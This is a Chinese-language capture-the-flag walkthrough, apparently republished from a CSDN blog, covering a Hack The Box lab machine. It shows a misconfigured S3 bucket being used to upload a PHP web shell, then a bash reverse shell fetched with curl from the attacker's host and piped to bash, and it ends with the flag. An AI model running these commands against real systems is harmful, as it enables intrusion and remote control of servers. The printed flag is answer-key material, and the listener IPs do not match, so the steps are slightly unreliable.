介绍
各种类型、规模和行业的组织都在将云用于各种用例,例如数据备份、存储、灾难恢复、电子邮件、虚拟桌面、软件开发和测试等。因此,为公司的云基础架构提供安全配置以防止任何攻击至关重要。试验的靶机,该网站利用AWS S3存储桶作为其云存储设备。我们可以利用这个配置不佳的 S3 存储桶并在其上上传反向外壳。然后,我们可以访问相应的 URL 来执行反向文件并最终检索标志。
注意:请在生成后让机器有几分钟的时间正常启动,因为需要几分钟的加载时间。
列举
首先,我们将使用 Nmap 扫描检查开放端口:
nmap -sV 10.129.227.248
扫描显示端口 80(HTTP)和端口 (22SSH)两个端口已打开 - 使用我们的网络浏览器访问80端口。
http://10.129.227.248/
我们可以看到一个静态网页,其中包含音乐会门票预订部分,但它不起作用。让我们进一步尝试使用称为Wappalyzer的浏览器扩展来识别网站的技术堆栈。我们可以访问该网站,然后单击扩展图标以显示结果。
Wappalyzer将PHP识别为网站正在使用的编程语言。
向下滚动网页后,我们会看到“联系人”部分,其中包含电子邮件信息。这里给出的电子邮件有域名thetoppers.htb。
让我们添加一个条目thetoppers.htb具有相应 IP 地址在/etc/hosts文件里面,以便能够,在我们的浏览器中访问此域。
/etc/hosts文件用于将主机名解析为 IP 地址。默认情况下,/etc/hosts文件是能够在 DNS 服务器之前查询主机名解析,因此我们需要在/etc/hosts文件里面添加主域名,以使浏览器能够解析thetoppers.htb 的地址。
echo "10.129.227.248 thetoppers.htb" | sudo tee -a /etc/hosts
什么是子域?
子域名是添加到网站域名开头的一条附加信息。它允许网站将特定功能(例如博客或在线商店)的内容与网站的其余部分分开和组织。
例如,如果我们访问hackthebox.com 则可以访问主网站。或者,我们可以访问ctf.hackthebox.com网站中用于 CTF 的部分。在这种情况下,ctf是子域,hackthebox是主域名,并且com是顶级域 (TLD)。虽然网址略有变化,您仍在HTB的网站上,在HTB的域下。
通常,不同的子域将具有不同的IP地址,因此当我们的系统查找子域时,它会获取处理该应用程序的服务器的地址。也可以让一个服务器处理多个子域。这是通过“基于主机的路由”或“虚拟主机路由”完成的,其中服务器使用 HTTP 请求中的 Host 标头来确定哪个应用程序用于处理请求。
由于我们有域thetoppers.htb,让我们枚举可能存在于同一服务器上的任何其他子域。有不同的枚举工具可用于此目的,如gobuster,wfuzz等等,在撰写本文时,我们将使用以下命令在对子域枚举的时候。
gobuster vhost -w /opt/useful/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u http://thetoppers.htb --append-domain
我们将使用以下标志进行破坏。
vhost:使用 VHOST 进行暴力破解-w :单词列表的路径-u :指定网址
注意:如果使用Gobuster版本3.2.0及更高版本,我们还必须将–append-domain标志添加到我们的命令,以便枚举考虑已知的虚拟主机 (thetoppers.htb),并将其附加到单词列表 (word.thetoppers.htb) 中找到的单词。
gobuster将发送带有看起来像下面主机标头的请求
host: [word].thetoppers.htb
它将记录默认响应,并显示任何返回不同内容的响应。
结果表明存在一个名为s3.thetoppers.htb的子域。让我们也添加一个此子域的条目在/etc/hosts文件中。
echo "10.129.227.248 s3.thetoppers.htb" | sudo tee -a /etc/hosts
将域的条目添加到主机文件后,让我们使用浏览器访问。
该网页仅包含JSON。
{“状态”:“正在运行”}
注意:如果您收到的不是 JSON,而是代理错误,请给框几分钟时间以正确启动。
什么是 S3 存储桶?
快速 Google 搜索会返回包含关键字“s3 子域状态正在运行”的结果,指出S3是一个基于云的对象存储服务。它允许我们将东西存储在称为桶的容器中。S3 存储桶具有各种用例,包括备份和存储、媒体托管、软件交付、静态网站等。存储在 Amazon S3 存储桶中的文件称为 S3 对象。
我们可以借助s3存储桶与awscli进行交互。linux安装命令apt install awscli
首先,我们需要使用以下命令对其进行配置。
我们将对所有字段使用任意值,因为有时服务器配置为不检查亚马逊云服务器身份验证(尽管如此,它必须配置为某些东西才能工作)。
aws configure
我们可以使用该命令列出服务器托管的所有 S3 存储桶。
aws --endpoint=http://s3.thetoppers.htb s3 ls
我们还可以使用该命令列出指定存储桶下的对象和通用前缀。
aws --endpoint=http://s3.thetoppers.htb s3 ls s3://thetoppers.htb
我们看到文件index.php,.htaccess和一个名为images的目录在指定的存储桶中。好像是在端口 80 上运行的网站的 Webroot。因此,Apache 服务器使用此 S3 存储桶作为存储。
awscli还有另一个功能,允许我们将文件复制到远程存储桶。我们已经知道网站正在使用 PHP。因此,我们可以尝试将 PHP shell 文件上传到s3存储桶,因为它已上传到Webroot目录我们可以在浏览器中访问此网页,而浏览器又将执行此文件,我们将实现远程代码执行。
我们可以使用以下 PHP 单行代码,它使用system()函数采取URL参数cmd作为输入并将其作为系统命令执行。
让我们创建一个要上传的 PHP 文件。
echo '' > shell.php
然后,我们可以使用以下命令将此 PHP shell 上传到 thetoppers.htbS3 存储桶。
aws --endpoint=http://s3.thetoppers.htb s3 cp shell.php s3://thetoppers.htb
使用 URL 参数cmd 执行操作系统命令。
http://thetoppers.htb/shell.php?cmd=id
来自服务器的响应包含操作系统命令 id 的输出,该命令ID 验证了我们在靶机上执行了代码。因此,现在让我们尝试获得一个反向外壳。
通过反向外壳,我们将触发远程主机连接回本地计算机的 IP 地址指定的侦听端口。我们可以使用以下方法获取本地计算机的tun0 IP 地址命令。
ifconfig
让我们通过创建一个包含以下 bash 反向 shell 有效负载的新文件shell.sh来获取反向 shell。它将在端口1337 上连接回我们的本地计算机。
#!/bin/bashbash -i >& /dev/tcp/10.10.16.25/1337 0>&1
我们将使用以下命令开启一个ncat去侦听本地端口1337上的侦听器。
nc -nvlp 1337
让我们在本地计算机上启动一个 Web 服务器端口 8000并托管此 bash 文件。这里必须注意此用于托管 Web 服务器的命令必须从包含反向 shell 文件的目录运行。因此,我们必须首先遍历到相应的目录,然后运行以下命令。
python3 -m http.server 8000
我们可以使用该实用程序从本地主机获取 bash 反向 shell 文件,然后将其通过管道传输到bash为了执行它。因此,让我们在浏览器中访问以下包含有效负载的 URL。
http://thetoppers.htb/shell.php?cmd=curl%2010.10.16.15:8000/shell.sh|bash
我们在相应的侦听端口上收到一个反向外壳。
cat /var/www/flag.txt
该标志可以在/var/www/flag.txt找到。
a980d99281a28d638ac68b9bf9453c2b
来源地址:https://blog.csdn.net/m0_53008479/article/details/127644579